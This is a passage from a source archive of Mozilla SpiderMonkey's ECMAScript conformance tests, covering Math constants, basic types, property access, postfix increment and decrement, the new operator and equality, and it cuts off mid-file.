/** File Name: 15.8.1.4-1.js ECMA Section: 15.8.1.4.js Description: All value properties of the Math object should have the attributes [DontEnum, DontDelete, ReadOnly] this test checks the ReadOnly attribute of Math.LOG2E Author: christine@netscape.com Date: 16 september 1997 */ var SECTION = "15.8.1.4-1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Math.LOG2E"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "Math.L0G2E=0; Math.LOG2E", 1.4426950408889634, eval("Math.LOG2E=0; Math.LOG2E") ); test(); mozjs17.0.0/js/src/tests/ecma/Math/15.8.1.7-1.js0000664000175000017500000000163412106270663020343 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.8.1.7-1.js ECMA Section: 15.8.1.7.js Description: All value properties of the Math object should have the attributes [DontEnum, DontDelete, ReadOnly] this test checks the ReadOnly attribute of Math.SQRT1_2 Author: christine@netscape.com Date: 16 september 1997 */ var SECTION = "15.8.1.7-1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Math.SQRT1_2"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "Math.SQRT1_2=0; Math.SQRT1_2", 0.7071067811865476, eval("Math.SQRT1_2=0; Math.SQRT1_2") ); test(); mozjs17.0.0/js/src/tests/ecma/Math/15.8.1.8-3.js0000664000175000017500000000155612106270663020351 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.8.1.8-3.js ECMA Section: 15.8.1.8.js Description: All value properties of the Math object should have the attributes [DontEnum, DontDelete, ReadOnly] this test checks the DontDelete attribute of Math.SQRT2 Author: christine@netscape.com Date: 16 september 1997 */ var SECTION = "15.8.1.8-3"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " Math.SQRT2: DontDelete"); new TestCase( SECTION, "delete Math.SQRT2", false, eval("delete Math.SQRT2") ); test(); mozjs17.0.0/js/src/tests/ecma/Types/0000775000175000017500000000000012106270663017157 5ustar sstanglsstanglmozjs17.0.0/js/src/tests/ecma/Types/shell.js0000664000175000017500000000000012106270663020612 0ustar sstanglsstanglmozjs17.0.0/js/src/tests/ecma/Types/browser.js0000664000175000017500000000000012106270663021166 0ustar sstanglsstanglmozjs17.0.0/js/src/tests/ecma/Types/8.4.js0000664000175000017500000000442612106270663020034 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 8.4.js ECMA Section: The String type Description: The String type is the set of all finite ordered sequences of zero or more Unicode characters. Each character is regarded as occupying a position within the sequence. These positions are identified by nonnegative integers. The leftmost character (if any) is at position 0, the next character (if any) at position 1, and so on. The length of a string is the number of distinct positions within it. The empty string has length zero and therefore contains no characters. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "8.4"; var VERSION = "ECMA_1"; startTest(); var TITLE = "The String type"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "var s = ''; s.length", 0, eval("var s = ''; s.length") ); new TestCase( SECTION, "var s = ''; s.charAt(0)", "", eval("var s = ''; s.charAt(0)") ); for ( var i = 0x0041, TEST_STRING = "", EXPECT_STRING = ""; i < 0x007B; i++ ) { TEST_STRING += ("\\u"+ DecimalToHexString( i ) ); EXPECT_STRING += String.fromCharCode(i); } new TestCase( SECTION, "var s = '" + TEST_STRING+ "'; s", EXPECT_STRING, eval("var s = '" + TEST_STRING+ "'; s") ); new TestCase( SECTION, "var s = '" + TEST_STRING+ "'; s.length", 0x007B-0x0041, eval("var s = '" + TEST_STRING+ "'; s.length") ); test(); function DecimalToHexString( n ) { n = Number( n ); var h = ""; for ( var i = 3; i >= 0; i-- ) { if ( n >= Math.pow(16, i) ){ var t = Math.floor( n / Math.pow(16, i)); n -= t * Math.pow(16, i); if ( t >= 10 ) { if ( t == 10 ) { h += "A"; } if ( t == 11 ) { h += "B"; } if ( t == 12 ) { h += "C"; } if ( t == 13 ) { h += "D"; } if ( t == 14 ) { h += "E"; } if ( t == 15 ) { h += "F"; } } else { h += String( t ); } } else { h += "0"; } } return h; } mozjs17.0.0/js/src/tests/ecma/Types/8.6.2.1-1.js0000664000175000017500000000317412106270663020472 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 8.6.2.1-1.js ECMA Section: 8.6.2.1 Get (Value) Description: When the [[Get]] method of O is called with property name P, the following steps are taken: 1. If O doesn't have a property with name P, go to step 4. 2. Get the value of the property. 3. Return Result(2). 4. If the [[Prototype]] of O is null, return undefined. 5. Call the [[Get]] method of [[Prototype]] with property name P. 6. Return Result(5). This tests [[Get]] (Value). Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "8.6.2.1-1"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " [[Get]] (Value)"); new TestCase( SECTION, "var OBJ = new MyObject(true); OBJ.valueOf()", true, eval("var OBJ = new MyObject(true); OBJ.valueOf()") ); new TestCase( SECTION, "var OBJ = new MyObject(Number.POSITIVE_INFINITY); OBJ.valueOf()", Number.POSITIVE_INFINITY, eval("var OBJ = new MyObject(Number.POSITIVE_INFINITY); OBJ.valueOf()") ); new TestCase( SECTION, "var OBJ = new MyObject('string'); OBJ.valueOf()", 'string', eval("var OBJ = new MyObject('string'); OBJ.valueOf()") ); test(); function MyObject( value ) { this.valueOf = new Function( "return this.value" ); this.value = value; } mozjs17.0.0/js/src/tests/ecma/Types/8.1.js0000664000175000017500000000207512106270663020027 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 8.1.js ECMA Section: The undefined type Description: The Undefined type has exactly one value, called undefined. Any variable that has not been assigned a value is of type Undefined. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "8.1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "The undefined type"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "var x; typeof x", "undefined", eval("var x; typeof x") ); new TestCase( SECTION, "var x; typeof x == 'undefined", true, eval("var x; typeof x == 'undefined'") ); new TestCase( SECTION, "var x; x == void 0", true, eval("var x; x == void 0") ); test(); mozjs17.0.0/js/src/tests/ecma/Expressions/0000775000175000017500000000000012106270663020375 5ustar sstanglsstanglmozjs17.0.0/js/src/tests/ecma/Expressions/11.2.1-4-n.js0000664000175000017500000000551312106270663022053 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 11.2.1-4-n.js ECMA Section: 11.2.1 Property Accessors Description: Properties are accessed by name, using either the dot notation: MemberExpression . Identifier CallExpression . Identifier or the bracket notation: MemberExpression [ Expression ] CallExpression [ Expression ] The dot notation is explained by the following syntactic conversion: MemberExpression . Identifier is identical in its behavior to MemberExpression [ ] and similarly CallExpression . Identifier is identical in its behavior to CallExpression [ ] where is a string literal containing the same sequence of characters as the Identifier. The production MemberExpression : MemberExpression [ Expression ] is evaluated as follows: 1. Evaluate MemberExpression. 2. Call GetValue(Result(1)). 3. Evaluate Expression. 4. Call GetValue(Result(3)). 5. Call ToObject(Result(2)). 6. Call ToString(Result(4)). 7. Return a value of type Reference whose base object is Result(5) and whose property name is Result(6). The production CallExpression : CallExpression [ Expression ] is evaluated in exactly the same manner, except that the contained CallExpression is evaluated in step 1. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "11.2.1-4-n"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Property Accessors"; writeHeaderToLog( SECTION + " "+TITLE ); // go through all Native Function objects, methods, and properties and get their typeof. var PROPERTY = new Array(); var p = 0; // try to access properties of primitive types PROPERTY[p++] = new Property( "null", null, "null", 0 ); for ( var i = 0, RESULT; i < PROPERTY.length; i++ ) { DESCRIPTION = PROPERTY[i].object + ".valueOf()"; EXPECTED = "error"; new TestCase( SECTION, PROPERTY[i].object + ".valueOf()", PROPERTY[i].value, eval( PROPERTY[i].object+ ".valueOf()" ) ); new TestCase( SECTION, PROPERTY[i].object + ".toString()", PROPERTY[i].string, eval(PROPERTY[i].object+ ".toString()") ); } test(); function MyObject( value ) { this.value = value; this.stringValue = value +""; this.numberValue = Number(value); return this; } function Property( object, value, string, number ) { this.object = object; this.string = String(value); this.number = Number(value); this.value = value; } mozjs17.0.0/js/src/tests/ecma/Expressions/11.12-4.js0000664000175000017500000000244712106270663021545 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 11.12-4.js ECMA Section: 11.12 Description: The grammar for a ConditionalExpression in ECMAScript is a little bit different from that in C and Java, which each allow the second subexpression to be an Expression but restrict the third expression to be a ConditionalExpression. The motivation for this difference in ECMAScript is to allow an assignment expression to be governed by either arm of a conditional and to eliminate the confusing and fairly useless case of a comma expression as the center expression. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "11.12-4"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " Conditional operator ( ? : )"); // the following expression should NOT be an error in JS. new TestCase( SECTION, "true ? MYVAR1 = 'PASSED' : MYVAR1 = 'FAILED'; MYVAR1", "PASSED", eval("true ? MYVAR1 = 'PASSED' : MYVAR1 = 'FAILED'; MYVAR1") ); test(); mozjs17.0.0/js/src/tests/ecma/Expressions/11.3.1.js0000664000175000017500000001743112106270663021462 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 11.3.1.js ECMA Section: 11.3.1 Postfix increment operator Description: The production MemberExpression : MemberExpression ++ is evaluated as follows: 1. Evaluate MemberExpression. 2. Call GetValue(Result(1)). 3. Call ToNumber(Result(2)). 4. Add the value 1 to Result(3), using the same rules as for the + operator (section 0). 5. Call PutValue(Result(1), Result(4)). 6. Return Result(3). Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "11.3.1"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " Postfix increment operator"); // special numbers new TestCase( SECTION, "var MYVAR; MYVAR++", NaN, eval("var MYVAR; MYVAR++") ); new TestCase( SECTION, "var MYVAR= void 0; MYVAR++", NaN, eval("var MYVAR=void 0; MYVAR++") ); new TestCase( SECTION, "var MYVAR=null; MYVAR++", 0, eval("var MYVAR=null; MYVAR++") ); new TestCase( SECTION, "var MYVAR=true; MYVAR++", 1, eval("var MYVAR=true; MYVAR++") ); new TestCase( SECTION, "var MYVAR=false; MYVAR++", 0, eval("var MYVAR=false; MYVAR++") ); // verify return value new TestCase( SECTION, "var MYVAR=Number.POSITIVE_INFINITY;MYVAR++", Number.POSITIVE_INFINITY, eval("var MYVAR=Number.POSITIVE_INFINITY;MYVAR++") ); new TestCase( SECTION, "var MYVAR=Number.NEGATIVE_INFINITY;MYVAR++", Number.NEGATIVE_INFINITY, eval("var MYVAR=Number.NEGATIVE_INFINITY;MYVAR++") ); new TestCase( SECTION, "var MYVAR=Number.NaN;MYVAR++", Number.NaN, eval("var MYVAR=Number.NaN;MYVAR++") ); // verify value of variable new TestCase( SECTION, "var MYVAR=Number.POSITIVE_INFINITY;MYVAR++;MYVAR", Number.POSITIVE_INFINITY, eval("var MYVAR=Number.POSITIVE_INFINITY;MYVAR++;MYVAR") ); new TestCase( SECTION, "var MYVAR=Number.NEGATIVE_INFINITY;MYVAR++;MYVAR", Number.NEGATIVE_INFINITY, eval("var MYVAR=Number.NEGATIVE_INFINITY;MYVAR++;MYVAR") ); new TestCase( SECTION, "var MYVAR=Number.NaN;MYVAR++;MYVAR", Number.NaN, eval("var MYVAR=Number.NaN;MYVAR++;MYVAR") ); // number primitives new TestCase( SECTION, "var MYVAR=0;MYVAR++", 0, eval("var MYVAR=0;MYVAR++") ); new TestCase( SECTION, "var MYVAR=0.2345;MYVAR++", 0.2345, eval("var MYVAR=0.2345;MYVAR++") ); new TestCase( SECTION, "var MYVAR=-0.2345;MYVAR++", -0.2345, eval("var MYVAR=-0.2345;MYVAR++") ); // verify value of variable new TestCase( SECTION, "var MYVAR=0;MYVAR++;MYVAR", 1, eval("var MYVAR=0;MYVAR++;MYVAR") ); new TestCase( SECTION, "var MYVAR=0.2345;MYVAR++;MYVAR", 1.2345, eval("var MYVAR=0.2345;MYVAR++;MYVAR") ); new TestCase( SECTION, "var MYVAR=-0.2345;MYVAR++;MYVAR", 0.7655, eval("var MYVAR=-0.2345;MYVAR++;MYVAR") ); new TestCase( SECTION, "var MYVAR=0;MYVAR++;MYVAR", 1, eval("var MYVAR=0;MYVAR++;MYVAR") ); new TestCase( SECTION, "var MYVAR=0;MYVAR++;MYVAR", 1, eval("var MYVAR=0;MYVAR++;MYVAR") ); new TestCase( SECTION, "var MYVAR=0;MYVAR++;MYVAR", 1, eval("var MYVAR=0;MYVAR++;MYVAR") ); // boolean values // verify return value new TestCase( SECTION, "var MYVAR=true;MYVAR++", 1, eval("var MYVAR=true;MYVAR++") ); new TestCase( SECTION, "var MYVAR=false;MYVAR++", 0, eval("var MYVAR=false;MYVAR++") ); // verify value of variable new TestCase( SECTION, "var MYVAR=true;MYVAR++;MYVAR", 2, eval("var MYVAR=true;MYVAR++;MYVAR") ); new TestCase( SECTION, "var MYVAR=false;MYVAR++;MYVAR", 1, eval("var MYVAR=false;MYVAR++;MYVAR") ); // boolean objects // verify return value new TestCase( SECTION, "var MYVAR=new Boolean(true);MYVAR++", 1, eval("var MYVAR=true;MYVAR++") ); new TestCase( SECTION, "var MYVAR=new Boolean(false);MYVAR++", 0, eval("var MYVAR=false;MYVAR++") ); // verify value of variable new TestCase( SECTION, "var MYVAR=new Boolean(true);MYVAR++;MYVAR", 2, eval("var MYVAR=new Boolean(true);MYVAR++;MYVAR") ); new TestCase( SECTION, "var MYVAR=new Boolean(false);MYVAR++;MYVAR", 1, eval("var MYVAR=new Boolean(false);MYVAR++;MYVAR") ); // string primitives new TestCase( SECTION, "var MYVAR='string';MYVAR++", Number.NaN, eval("var MYVAR='string';MYVAR++") ); new TestCase( SECTION, "var MYVAR='12345';MYVAR++", 12345, eval("var MYVAR='12345';MYVAR++") ); new TestCase( SECTION, "var MYVAR='-12345';MYVAR++", -12345, eval("var MYVAR='-12345';MYVAR++") ); new TestCase( SECTION, "var MYVAR='0Xf';MYVAR++", 15, eval("var MYVAR='0Xf';MYVAR++") ); new TestCase( SECTION, "var MYVAR='077';MYVAR++", 77, eval("var MYVAR='077';MYVAR++") ); new TestCase( SECTION, "var MYVAR=''; MYVAR++", 0, eval("var MYVAR='';MYVAR++") ); // verify value of variable new TestCase( SECTION, "var MYVAR='string';MYVAR++;MYVAR", Number.NaN, eval("var MYVAR='string';MYVAR++;MYVAR") ); new TestCase( SECTION, "var MYVAR='12345';MYVAR++;MYVAR", 12346, eval("var MYVAR='12345';MYVAR++;MYVAR") ); new TestCase( SECTION, "var MYVAR='-12345';MYVAR++;MYVAR", -12344, eval("var MYVAR='-12345';MYVAR++;MYVAR") ); new TestCase( SECTION, "var MYVAR='0xf';MYVAR++;MYVAR", 16, eval("var MYVAR='0xf';MYVAR++;MYVAR") ); new TestCase( SECTION, "var MYVAR='077';MYVAR++;MYVAR", 78, eval("var MYVAR='077';MYVAR++;MYVAR") ); new TestCase( SECTION, "var MYVAR='';MYVAR++;MYVAR", 1, eval("var MYVAR='';MYVAR++;MYVAR") ); // string objects new TestCase( SECTION, "var MYVAR=new String('string');MYVAR++", Number.NaN, eval("var MYVAR=new String('string');MYVAR++") ); new TestCase( SECTION, "var MYVAR=new String('12345');MYVAR++", 12345, eval("var MYVAR=new String('12345');MYVAR++") ); new TestCase( SECTION, "var MYVAR=new String('-12345');MYVAR++", -12345, eval("var MYVAR=new String('-12345');MYVAR++") ); new TestCase( SECTION, "var MYVAR=new String('0Xf');MYVAR++", 15, eval("var MYVAR=new String('0Xf');MYVAR++") ); new TestCase( SECTION, "var MYVAR=new String('077');MYVAR++", 77, eval("var MYVAR=new String('077');MYVAR++") ); new TestCase( SECTION, "var MYVAR=new String(''); MYVAR++", 0, eval("var MYVAR=new String('');MYVAR++") ); // verify value of variable new TestCase( SECTION, "var MYVAR=new String('string');MYVAR++;MYVAR", Number.NaN, eval("var MYVAR=new String('string');MYVAR++;MYVAR") ); new TestCase( SECTION, "var MYVAR=new String('12345');MYVAR++;MYVAR", 12346, eval("var MYVAR=new String('12345');MYVAR++;MYVAR") ); new TestCase( SECTION, "var MYVAR=new String('-12345');MYVAR++;MYVAR", -12344, eval("var MYVAR=new String('-12345');MYVAR++;MYVAR") ); new TestCase( SECTION, "var MYVAR=new String('0xf');MYVAR++;MYVAR", 16, eval("var MYVAR=new String('0xf');MYVAR++;MYVAR") ); new TestCase( SECTION, "var MYVAR=new String('077');MYVAR++;MYVAR", 78, eval("var MYVAR=new String('077');MYVAR++;MYVAR") ); new TestCase( SECTION, "var MYVAR=new String('');MYVAR++;MYVAR", 1, eval("var MYVAR=new String('');MYVAR++;MYVAR") ); test(); mozjs17.0.0/js/src/tests/ecma/Expressions/11.3.2.js0000664000175000017500000001751112106270663021462 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 11.3.2.js ECMA Section: 11.3.2 Postfix decrement operator Description: 11.3.2 Postfix decrement operator The production MemberExpression : MemberExpression -- is evaluated as follows: 1. Evaluate MemberExpression. 2. Call GetValue(Result(1)). 3. Call ToNumber(Result(2)). 4. Subtract the value 1 from Result(3), using the same rules as for the - operator (section 0). 5. Call PutValue(Result(1), Result(4)). 6. Return Result(3). Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "11.3.2"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " Postfix decrement operator"); // special numbers new TestCase( SECTION, "var MYVAR; MYVAR--", NaN, eval("var MYVAR; MYVAR--") ); new TestCase( SECTION, "var MYVAR= void 0; MYVAR--", NaN, eval("var MYVAR=void 0; MYVAR--") ); new TestCase( SECTION, "var MYVAR=null; MYVAR--", 0, eval("var MYVAR=null; MYVAR--") ); new TestCase( SECTION, "var MYVAR=true; MYVAR--", 1, eval("var MYVAR=true; MYVAR--") ); new TestCase( SECTION, "var MYVAR=false; MYVAR--", 0, eval("var MYVAR=false; MYVAR--") ); // verify return value new TestCase( SECTION, "var MYVAR=Number.POSITIVE_INFINITY;MYVAR--", Number.POSITIVE_INFINITY, eval("var MYVAR=Number.POSITIVE_INFINITY;MYVAR--") ); new TestCase( SECTION, "var MYVAR=Number.NEGATIVE_INFINITY;MYVAR--", Number.NEGATIVE_INFINITY, eval("var MYVAR=Number.NEGATIVE_INFINITY;MYVAR--") ); new TestCase( SECTION, "var MYVAR=Number.NaN;MYVAR--", Number.NaN, eval("var MYVAR=Number.NaN;MYVAR--") ); // verify value of variable new TestCase( SECTION, "var MYVAR=Number.POSITIVE_INFINITY;MYVAR--;MYVAR", Number.POSITIVE_INFINITY, eval("var MYVAR=Number.POSITIVE_INFINITY;MYVAR--;MYVAR") ); new TestCase( SECTION, "var MYVAR=Number.NEGATIVE_INFINITY;MYVAR--;MYVAR", Number.NEGATIVE_INFINITY, eval("var MYVAR=Number.NEGATIVE_INFINITY;MYVAR--;MYVAR") ); new TestCase( SECTION, "var MYVAR=Number.NaN;MYVAR--;MYVAR", Number.NaN, eval("var MYVAR=Number.NaN;MYVAR--;MYVAR") ); // number primitives new TestCase( SECTION, "var MYVAR=0;MYVAR--", 0, eval("var MYVAR=0;MYVAR--") ); new TestCase( SECTION, "var MYVAR=0.2345;MYVAR--", 0.2345, eval("var MYVAR=0.2345;MYVAR--") ); new TestCase( SECTION, "var MYVAR=-0.2345;MYVAR--", -0.2345, eval("var MYVAR=-0.2345;MYVAR--") ); // verify value of variable new TestCase( SECTION, "var MYVAR=0;MYVAR--;MYVAR", -1, eval("var MYVAR=0;MYVAR--;MYVAR") ); new TestCase( SECTION, "var MYVAR=0.2345;MYVAR--;MYVAR", -0.7655, eval("var MYVAR=0.2345;MYVAR--;MYVAR") ); new TestCase( SECTION, "var MYVAR=-0.2345;MYVAR--;MYVAR", -1.2345, eval("var MYVAR=-0.2345;MYVAR--;MYVAR") ); new TestCase( SECTION, "var MYVAR=0;MYVAR--;MYVAR", -1, eval("var MYVAR=0;MYVAR--;MYVAR") ); new TestCase( SECTION, "var MYVAR=0;MYVAR--;MYVAR", -1, eval("var MYVAR=0;MYVAR--;MYVAR") ); new TestCase( SECTION, "var MYVAR=0;MYVAR--;MYVAR", -1, eval("var MYVAR=0;MYVAR--;MYVAR") ); // boolean values // verify return value new TestCase( SECTION, "var MYVAR=true;MYVAR--", 1, eval("var MYVAR=true;MYVAR--") ); new TestCase( SECTION, "var MYVAR=false;MYVAR--", 0, eval("var MYVAR=false;MYVAR--") ); // verify value of variable new TestCase( SECTION, "var MYVAR=true;MYVAR--;MYVAR", 0, eval("var MYVAR=true;MYVAR--;MYVAR") ); new TestCase( SECTION, "var MYVAR=false;MYVAR--;MYVAR", -1, eval("var MYVAR=false;MYVAR--;MYVAR") ); // boolean objects // verify return value new TestCase( SECTION, "var MYVAR=new Boolean(true);MYVAR--", 1, eval("var MYVAR=true;MYVAR--") ); new TestCase( SECTION, "var MYVAR=new Boolean(false);MYVAR--", 0, eval("var MYVAR=false;MYVAR--") ); // verify value of variable new TestCase( SECTION, "var MYVAR=new Boolean(true);MYVAR--;MYVAR", 0, eval("var MYVAR=new Boolean(true);MYVAR--;MYVAR") ); new TestCase( SECTION, "var MYVAR=new Boolean(false);MYVAR--;MYVAR", -1, eval("var MYVAR=new Boolean(false);MYVAR--;MYVAR") ); // string primitives new TestCase( SECTION, "var MYVAR='string';MYVAR--", Number.NaN, eval("var MYVAR='string';MYVAR--") ); new TestCase( SECTION, "var MYVAR='12345';MYVAR--", 12345, eval("var MYVAR='12345';MYVAR--") ); new TestCase( SECTION, "var MYVAR='-12345';MYVAR--", -12345, eval("var MYVAR='-12345';MYVAR--") ); new TestCase( SECTION, "var MYVAR='0Xf';MYVAR--", 15, eval("var MYVAR='0Xf';MYVAR--") ); new TestCase( SECTION, "var MYVAR='077';MYVAR--", 77, eval("var MYVAR='077';MYVAR--") ); new TestCase( SECTION, "var MYVAR=''; MYVAR--", 0, eval("var MYVAR='';MYVAR--") ); // verify value of variable new TestCase( SECTION, "var MYVAR='string';MYVAR--;MYVAR", Number.NaN, eval("var MYVAR='string';MYVAR--;MYVAR") ); new TestCase( SECTION, "var MYVAR='12345';MYVAR--;MYVAR", 12344, eval("var MYVAR='12345';MYVAR--;MYVAR") ); new TestCase( SECTION, "var MYVAR='-12345';MYVAR--;MYVAR", -12346, eval("var MYVAR='-12345';MYVAR--;MYVAR") ); new TestCase( SECTION, "var MYVAR='0xf';MYVAR--;MYVAR", 14, eval("var MYVAR='0xf';MYVAR--;MYVAR") ); new TestCase( SECTION, "var MYVAR='077';MYVAR--;MYVAR", 76, eval("var MYVAR='077';MYVAR--;MYVAR") ); new TestCase( SECTION, "var MYVAR='';MYVAR--;MYVAR", -1, eval("var MYVAR='';MYVAR--;MYVAR") ); // string objects new TestCase( SECTION, "var MYVAR=new String('string');MYVAR--", Number.NaN, eval("var MYVAR=new String('string');MYVAR--") ); new TestCase( SECTION, "var MYVAR=new String('12345');MYVAR--", 12345, eval("var MYVAR=new String('12345');MYVAR--") ); new TestCase( SECTION, "var MYVAR=new String('-12345');MYVAR--", -12345, eval("var MYVAR=new String('-12345');MYVAR--") ); new TestCase( SECTION, "var MYVAR=new String('0Xf');MYVAR--", 15, eval("var MYVAR=new String('0Xf');MYVAR--") ); new TestCase( SECTION, "var MYVAR=new String('077');MYVAR--", 77, eval("var MYVAR=new String('077');MYVAR--") ); new TestCase( SECTION, "var MYVAR=new String(''); MYVAR--", 0, eval("var MYVAR=new String('');MYVAR--") ); // verify value of variable new TestCase( SECTION, "var MYVAR=new String('string');MYVAR--;MYVAR", Number.NaN, eval("var MYVAR=new String('string');MYVAR--;MYVAR") ); new TestCase( SECTION, "var MYVAR=new String('12345');MYVAR--;MYVAR", 12344, eval("var MYVAR=new String('12345');MYVAR--;MYVAR") ); new TestCase( SECTION, "var MYVAR=new String('-12345');MYVAR--;MYVAR", -12346, eval("var MYVAR=new String('-12345');MYVAR--;MYVAR") ); new TestCase( SECTION, "var MYVAR=new String('0xf');MYVAR--;MYVAR", 14, eval("var MYVAR=new String('0xf');MYVAR--;MYVAR") ); new TestCase( SECTION, "var MYVAR=new String('077');MYVAR--;MYVAR", 76, eval("var MYVAR=new String('077');MYVAR--;MYVAR") ); new TestCase( SECTION, "var MYVAR=new String('');MYVAR--;MYVAR", -1, eval("var MYVAR=new String('');MYVAR--;MYVAR") ); test(); mozjs17.0.0/js/src/tests/ecma/Expressions/11.2.2-11.js0000664000175000017500000000460112106270663021674 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 11.2.2-9-n.js ECMA Section: 11.2.2. The new operator Description: MemberExpression: PrimaryExpression MemberExpression[Expression] MemberExpression.Identifier new MemberExpression Arguments new NewExpression The production NewExpression : new NewExpression is evaluated as follows: 1. Evaluate NewExpression. 2. Call GetValue(Result(1)). 3. If Type(Result(2)) is not Object, generate a runtime error. 4. If Result(2) does not implement the internal [[Construct]] method, generate a runtime error. 5. Call the [[Construct]] method on Result(2), providing no arguments (that is, an empty list of arguments). 6. If Type(Result(5)) is not Object, generate a runtime error. 7. Return Result(5). The production MemberExpression : new MemberExpression Arguments is evaluated as follows: 1. Evaluate MemberExpression. 2. Call GetValue(Result(1)). 3. Evaluate Arguments, producing an internal list of argument values (section 0). 4. If Type(Result(2)) is not Object, generate a runtime error. 5. If Result(2) does not implement the internal [[Construct]] method, generate a runtime error. 6. Call the [[Construct]] method on Result(2), providing the list Result(3) as the argument values. 7. If Type(Result(6)) is not Object, generate a runtime error. 8 Return Result(6). Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "11.2.2-9-n.js"; var VERSION = "ECMA_1"; startTest(); var TITLE = "The new operator"; writeHeaderToLog( SECTION + " "+ TITLE); var FUNCTION = new Function(); new TestCase( SECTION, "var FUNCTION = new Function(); f = new FUNCTION(); typeof f", "object", eval("var FUNCTION = new Function(); f = new FUNCTION(); typeof f") ); new TestCase( SECTION, "var FUNCTION = new Function('return this'); f = new FUNCTION(); typeof f", "object", eval("var FUNCTION = new Function('return this'); f = new FUNCTION(); typeof f") ); test(); mozjs17.0.0/js/src/tests/ecma/Expressions/shell.js0000664000175000017500000000000012106270663022030 0ustar sstanglsstanglmozjs17.0.0/js/src/tests/ecma/Expressions/11.9.3.js0000664000175000017500000001456012106270663021472 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 11.9.3.js ECMA Section: 11.9.3 The equals operator ( == ) Description: The production EqualityExpression: EqualityExpression == RelationalExpression is evaluated as follows: 1. Evaluate EqualityExpression. 2. Call GetValue(Result(1)). 3. Evaluate RelationalExpression. 4. Call GetValue(Result(3)). 5. Perform the comparison Result(4) == Result(2). (See section 11.9.3) 6. Return Result(5). Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "11.9.3"; var VERSION = "ECMA_1"; var BUGNUMBER="77391"; startTest(); writeHeaderToLog( SECTION + " The equals operator ( == )"); // type x and type y are the same. if type x is undefined or null, return true new TestCase( SECTION, "void 0 = void 0", true, void 0 == void 0 ); new TestCase( SECTION, "null == null", true, null == null ); // if x is NaN, return false. if y is NaN, return false. new TestCase( SECTION, "NaN == NaN", false, Number.NaN == Number.NaN ); new TestCase( SECTION, "NaN == 0", false, Number.NaN == 0 ); new TestCase( SECTION, "0 == NaN", false, 0 == Number.NaN ); new TestCase( SECTION, "NaN == Infinity", false, Number.NaN == 